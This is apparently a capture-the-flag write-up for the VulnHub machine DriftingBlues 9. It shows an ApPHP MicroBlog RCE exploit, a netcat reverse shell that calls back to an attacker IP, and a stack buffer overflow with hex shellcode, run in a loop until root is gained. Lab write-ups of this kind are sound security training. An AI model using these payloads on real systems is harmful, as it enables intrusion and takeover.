# DriftingBlues: 9 BOOT2ROOT CTF VULNHUB WRITEUP

Welcome back to another WriteUp! In this one, I’ll walk you through the step-by-step process I used to solve the Final Machine of DriftingBlues from VulnHub!!! Let's start!!

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F4IcZq9e5LWbqkF3qF1av%2Fc7b38ef5308c951ddfc7d01c8d31e305.gif?alt=media&#x26;token=87cd7f99-19f4-41d3-a3e3-8a008d37f4f2" alt=""><figcaption></figcaption></figure>

We'll use `Nmap` to scan for open ports and identify possible endpoints.

`nmap -A -p- -T5 192.168.172.235`

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FDnzXjm2Ld1XNpshW17Xj%2FScreenshot%20(1849).png?alt=media&#x26;token=8e298f13-a1f8-4235-9f93-0a4dedc629ed" alt=""><figcaption></figcaption></figure>

Now let's visit the webpage.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FTyGqKj0R6pjLRfbl6PyC%2FScreenshot%20(1850).png?alt=media&#x26;token=3da2c539-2e1d-42e5-a52b-4fbb24507308" alt=""><figcaption><p>Just a classic DriftingBlues Static Page</p></figcaption></figure>

If you will analyze the Nmap scan carefully, you can see that the webpage is using `ApPHP MicroBlog` .

**ApPHP MicroBlog** is a lightweight, PHP-based blogging platform designed for quick setup and simple content management, often used in older web projects or educational setups. While it offers basic features like post creation, categories, and multi-author support, it has become outdated and is rarely used today due to multiple security flaws. Known vulnerabilities in versions like 1.0.1 include **Remote Code Execution (RCE)**, **Local File Inclusion (LFI)**, and **unauthenticated file uploads**, making it highly exploitable.

Let's check the source code to determine its version.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FB8FNSbroYuIBe3GNLLKI%2FScreenshot%20(1851).png?alt=media&#x26;token=94d4f98f-aa15-41c3-9d78-f137195016ac" alt=""><figcaption><p>1.0.1??</p></figcaption></figure>

Now let’s run `searchsploit` to directly check if there’s a known exploit available for ApPHP MicroBlog. (Sure it has, xD)

`searchsploit microblog`&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FjGFq4q13LP9iWBuxv9oe%2FScreenshot%20(1852).png?alt=media&#x26;token=dc794498-c88e-4148-9379-43398cb96fab" alt=""><figcaption></figcaption></figure>

Instant RCE for sure, now let's use `33070` .

`searchsploit -m php/webapps/33070.py`&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2Fxqb3mE1vKxEsdaC0ZlYI%2FScreenshot%20(1854).png?alt=media&#x26;token=05b5ea04-83d6-42b0-885c-c35f0d3f3ef0" alt=""><figcaption></figcaption></figure>

The exploit is written in Python2, the legacy version of Python.

`python2 33070.py http://192.168.172.235`&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FDmO0PVCyyFeDSY5IRgSk%2FScreenshot%20(1855).png?alt=media&#x26;token=4c252d51-dd20-4800-9d72-c68554442cb7" alt=""><figcaption><p>It works, with a Database Credentials in it.</p></figcaption></figure>

To establish a stable shell, we’ll set up a `Netcat` listener on our attacker machine and have the target system connect back to it.

Attacker machine:

`nc -lnvp 1234`&#x20;

Target machine:

`nc 192.168.172.246 1234 -e /bin/bash`&#x20;

And...

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FklKh3ZHEbT4XKpSft3hL%2FScreenshot%20(1858).png?alt=media&#x26;token=52ef8503-7b59-4fc3-97c5-9b1254dc930d" alt=""><figcaption></figcaption></figure>

Now that we’ve gained shell access, let’s upgrade it to an interactive shell using `pty` and set the `TERM` environment variable to `xterm`.

`python -c 'import pty;pty.spawn("/bin/bash")'`

Then

`export TERM=xterm`&#x20;

While exploring the home directory, I discovered a user named **clapton**. If you recall from the earlier dumped credentials during the exploit, **clapton's password** was included. So from here, we can switch directly to the **clapton** user.

`su clapton`&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2Fe0xn9ZxUYNDtE0iJM6nN%2FScreenshot%20(1861).png?alt=media&#x26;token=a3bd2301-2638-4a59-9d3d-bcc1081202a9" alt=""><figcaption><p>We're now clapton!!!</p></figcaption></figure>

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FAkocohg5YFrAifpYRX1p%2FScreenshot%20(1862).png?alt=media&#x26;token=f0157ab0-5579-4ad3-9833-f3523b241599" alt=""><figcaption><p>User Flag!!</p></figcaption></figure>

Next to the user flag, there are also two additional files.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FszPET2vXGWxsxpN4ijM6%2FScreenshot%20(1864).png?alt=media&#x26;token=eee682e3-3503-4d9a-8ef8-5207774fa5db" alt=""><figcaption><p>note.txt and input</p></figcaption></figure>

Let's check the note.txt

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F2PVshyfxohRIKX04x7rJ%2FScreenshot%20(1863).png?alt=media&#x26;token=8f4eaed5-f5ec-42bb-9079-5570a21f9f8b" alt=""><figcaption></figcaption></figure>

Alright, it looks like a Buffer Overflow is the main vulnerability here. The input file is likely a compiled binary.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FfJG0vJgtUjusMGwoTkrh%2FScreenshot%20(1867).png?alt=media&#x26;token=de466475-759e-4ed6-8a75-b3cd4f489187" alt=""><figcaption></figcaption></figure>

It is, and it's 32-bit. Now let's execute it.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FPtIBpNkK2kulijTviQtI%2FScreenshot%20(1868).png?alt=media&#x26;token=d02ae671-b1b8-4bf7-8fac-5cd8e9d411c7" alt=""><figcaption></figcaption></figure>

Now let's fill it up with lots of 'A'.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FObs6uvbxUQhrsGbSf1dj%2FScreenshot%20(1869).png?alt=media&#x26;token=0936e01e-a20d-429b-a393-410c319c251d" alt=""><figcaption></figcaption></figure>

It results in a Segmentation Fault, confirming the presence of a Buffer Overflow vulnerability.

To dig deeper into the analysis, I transferred the binary over to my attacker machine.

make sure that the `ASLR` is disabled before you take any action. Otherwise, your return addresses will be unpredictable, and your exploit will likely fail.

`echo 0 | sudo tee /proc/sys/kernel/randomize_va_space`

Let’s now use `GDB` to examine the binary in more detail.

`gdb -n ./input`&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FgIVvz15qOnTndV5v4ec2%2FScreenshot%20(1872).png?alt=media&#x26;token=2253927e-2add-45b3-b2a0-b9ac649a8112" alt=""><figcaption></figcaption></figure>

I input a series of 'A's once more to check if we can take control of the EIP. If the program returns an address like `0x41414141`, it's likely a stack-based buffer overflow.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2Fy2nFM7WAtgn8HQfRuTT8%2FScreenshot%20(1894).png?alt=media&#x26;token=50a80c86-c0cf-42c4-9014-d0bd5046164e" alt=""><figcaption><p>And it is!</p></figcaption></figure>

Let’s use Metasploit’s `pattern_create` to generate our input.

`./pattern_create.rb -l 400`

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FQm2LwNTiMoHSpjvtR3RK%2FScreenshot%20(1875).png?alt=media&#x26;token=66183173-6f36-40c7-afba-fb6db209eafe" alt=""><figcaption></figcaption></figure>

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F0ngBkk7fh4M1GB5e6x23%2FScreenshot%20(1876).png?alt=media&#x26;token=655ce6d7-648f-4a02-99f4-b635e6ed9b6b" alt=""><figcaption></figcaption></figure>

Now let's get the offset of `0x41376641` .

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FnKtzoaXctGg3BdnK9jLt%2FScreenshot%20(1878).png?alt=media&#x26;token=e6f30616-3e7c-4a8e-900c-c4ca681a3712" alt=""><figcaption></figcaption></figure>

Our offset is `171` .&#x20;

Let's check the value of the ESP register. Because the system uses little endian format, the bytes will appear in reverse order.

`x/s $esp`&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2Fqn0qzm46AZsOyK5PwGG0%2FScreenshot%20(1883).png?alt=media&#x26;token=0eef26ae-51e7-4e22-b522-fe9ddd17a729" alt=""><figcaption></figcaption></figure>

Our EIP is `0xffffd260`  in reverse.&#x20;

`0xffffd260 → 0x60 0xd2 0xff 0xff → \x60\xd2\xff\xff`

Now that we have everything we need, we can proceed to craft our payload.

`PAYLOAD = OFFSET_VALUE + EIP_VALUE + NOPS + BASH_SHELL_CODE`&#x20;

For the shell code, I used the shellcode in this [exploit](https://www.exploit-db.com/exploits/37495) I've found in exploit-db.

```py
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80
```

This is our final payload:

```
python3 -c 'print("A" * 171 + "\x60\xd2\xff\xff" + "\x90" * 1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80")'
```

Now let's execute it in our target machine.

**Note: GDB is available on the target machine, be sure to repeat the entire process there to accurately obtain the EIP value.**&#x20;

Since we'll be executing it on a different machine where ASLR is enabled by default, we'll run the payload in a loop to increase the chances of success.&#x20;

```bash
for i in {1..10000}; do (./input $(python -c 'print("A" * 171 + "\x00\xbf\xe8\xbf" + "\x90" * 1000 + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80")')); done
```

The first attempt might failed, just continue executing it.

After a long time....

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FNOzwDBi2yKu6uXKSi7Qw%2FScreenshot%20(1892).png?alt=media&#x26;token=4a8ba54d-06a2-4276-b66a-dff41611c332" alt=""><figcaption></figcaption></figure>

We're root!!!

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FxoyKQhdiC8j0Krokm6RP%2FScreenshot%20(1893).png?alt=media&#x26;token=16f4d0a6-35da-4490-a29e-a68d141bef4d" alt=""><figcaption><p>Root Flag!!</p></figcaption></figure>

We've successfully pwned DriftingBlues: 9 and completed the DriftingBlues Series!!!

The **DriftingBlues** series has been an incredibly enjoyable and insightful experience — starting from cronjob privilege escalation techniques to diving deep into buffer overflow exploitation. Each challenge offered a valuable learning opportunity, showcasing different aspects of Linux privilege escalation, exploitation techniques, and system misconfigurations. It’s a well-rounded series that not only tests your technical skills but also sharpens your mindset as a security researcher or CTF player. I highly recommend it to anyone aiming to strengthen their foothold in offensive security.
